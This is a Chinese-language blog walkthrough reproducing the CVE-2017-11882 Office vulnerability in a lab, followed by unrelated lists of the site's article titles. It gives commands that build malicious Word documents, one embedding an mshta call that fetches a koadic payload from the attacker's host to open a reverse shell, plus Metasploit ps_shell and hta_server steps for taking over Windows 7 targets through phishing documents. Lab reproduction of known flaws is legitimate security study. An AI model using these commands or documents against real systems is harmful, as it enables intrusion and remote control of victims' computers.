测试环境:win7+kali+office 2007 xp+kali+office 2003

win7 ip:10.10.1.144 xp ip: 10.10.1.126 kali ip 10.10.1.67

一. 简单测试弹出计算器(xp)

1.在kali下执行生成一个含有恶意代码的doc进行测试:

PythonCommand109b_CVE-2017-11882 -c “cmd.exe /c calc.exe” -o test.doc

这条指令的意思是调用cmd并执行calc.exe(即计算器)

2.在靶机上打开就会弹出计算器:

二. 通过koadic漏洞复现(xp)

1.下载koadic并启用

https://github.com/backlion/koadic.git

2.执行./koadice



首先看一下koadic怎么用直接

3.接下来设置shell的接受地址以及端口

Set lhost 10.10.1.67
Set lport 55555
Run



这儿需要注意的是生成的网址需要记住,以方便后面应用

接下来通过poc生成一个含有恶意代码的doc文件

python Command109b_CVE-2017-11882.py -c “mshtahttp://10.10.1.67:55555/Ly348” -o exploit.doc



接下来在目标主机打开钓鱼文档

切回koadic则发现发生变化



这个时候说明入侵成功并已经反弹shell

接下来在koadic执行zombies 0 切换到项目



接下来用cmdshell模块

输入 cmdshell 0



这就已经进去cmd了接下来可以愉快的玩耍了



三. 通过msf的ps_shell模块 漏洞复现(win7)

1.启动msfconsole

2.查找对应的模块 search PS_shell



3.利用msf生成利用的powershell脚本









提示一点 在这儿的Command109b_CVE-2017-11882是109字节限制的 当然也有43字节的

1.接接下来在靶机打开测试文档就好

2.切换回kali 会出现



说明已经建立链接了

接下来输入sessions -i 查看一下



接下来切换进入



这个时候就已经入侵到靶机了。

四. 通过hta_server模块复现(xin7)

1.在msf搜索hta_server模块

2.进行设置





3.在kali上生成带有恶意命令的doc

4.在靶机上打开test.doc文档 切换回kal



(之后的过程就和之前一样了,就不多啰嗦了)。

(ps:后两种是利用了powershell,所以在win7下测试的)

最新文章

  1. NOSQL场景梳理
  2. 夺命雷公狗—angularjs—25—angular内置的方法(高级)
  3. NTFS reparse point
  4. 第二十篇、自定义UIButton(设置title和image的位置)
  5. Sicily1099-Packing Passengers-拓展欧几里德算法
  6. 95秀-自定义对话框 dialog 合集
  7. bootstrap 之 列表组件使用
  8. windows 2003 DNS服务的重建
  9. POJ 2762 Going from u to v or from v to u?(强连通分量+拓扑排序)
  10. Web前端开发学习笔记(二)
  11. SOFA 源码分析— 事件总线
  12. 分红包算法Java实现
  13. Spring中的CharacterEncodingFilter
  14. Mongodb系列- java客户端简单使用(CRUD)
  15. 2017/05/02 java 基础 随笔
  16. 【转】C语言正确使用extern关键字
  17. Redis 五大数据类型及常用操作
  18. MFC中UpdateData()函数的使用
  19. NVIDIA GeForce GTX 960 设备是不可移动的,无法弹出
  20. Dockerfile指令详解上

热门文章

  1. 深度学习:多层感知机和异或问题(Pytorch实现)
  2. Diary -「PKUSC 2021」游记
  3. 数据分析实际案例之:pandas在餐厅评分数据中的使用
  4. [Golang]Go语言入门笔记
  5. 攻防世界之Web_supersqli
  6. [杂记]如何在LaTeX里插入高亮代码
  7. BGP4+协议测试——信而泰网络测试仪实操
  8. CLR 详解
  9. Echarts图表类型
  10. 修改Ehcache缓存中取到的值,缓存中的值也被修改了